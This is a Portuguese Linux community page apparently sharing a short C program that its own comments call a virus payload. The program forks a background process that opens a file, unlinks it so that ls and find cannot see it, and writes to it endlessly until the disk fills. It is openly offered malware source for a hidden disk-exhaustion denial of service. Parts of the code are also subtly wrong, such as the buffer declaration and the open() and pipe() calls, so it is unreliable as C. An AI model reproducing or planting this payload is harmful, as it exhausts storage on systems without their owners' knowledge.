Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 4.951 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */ #include <stdio.h> #include <stdlib.h> acao() { int ifd; char *buf=("1","2","3","4","5","6","7","8","9","0"); long c; int desc; close(1); /* fecha a saída padrão, o vídeo */ pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saida será armazenados em desc */ ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */ unlink("./lotaHD"); /* apaga o arquivo */ while (1) { write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */ printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */ } } main() { int i; i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada. */ /* Não poderia ser uma thead, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar */ /* o processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */ if (i==0) acao(); }
Nenhum comentário foi encontrado.
Kernel 6.18 em foco, betas fervilhando e avanços em IA no Linux
O que é o THP na configuração de RAM do Linux e quando desabilitá-lo
Comparação entre os escalonadores BFQ e MQ-Deadline (acesso a disco) no Arch e Debian
Adicionando o repositório backports no Debian 13 Trixie
Como definir um IP estático no Linux Debian
Primeiras impressões do Debian 13 (21)
systemd-resol... precisa ser reiniciado periodicamente (3)
intervenção politica pode interver no Fedora Linux [RESOLVIDO] (8)
Fedora não reconhece James Donkey 102 Wireless Gaming Mouse (0)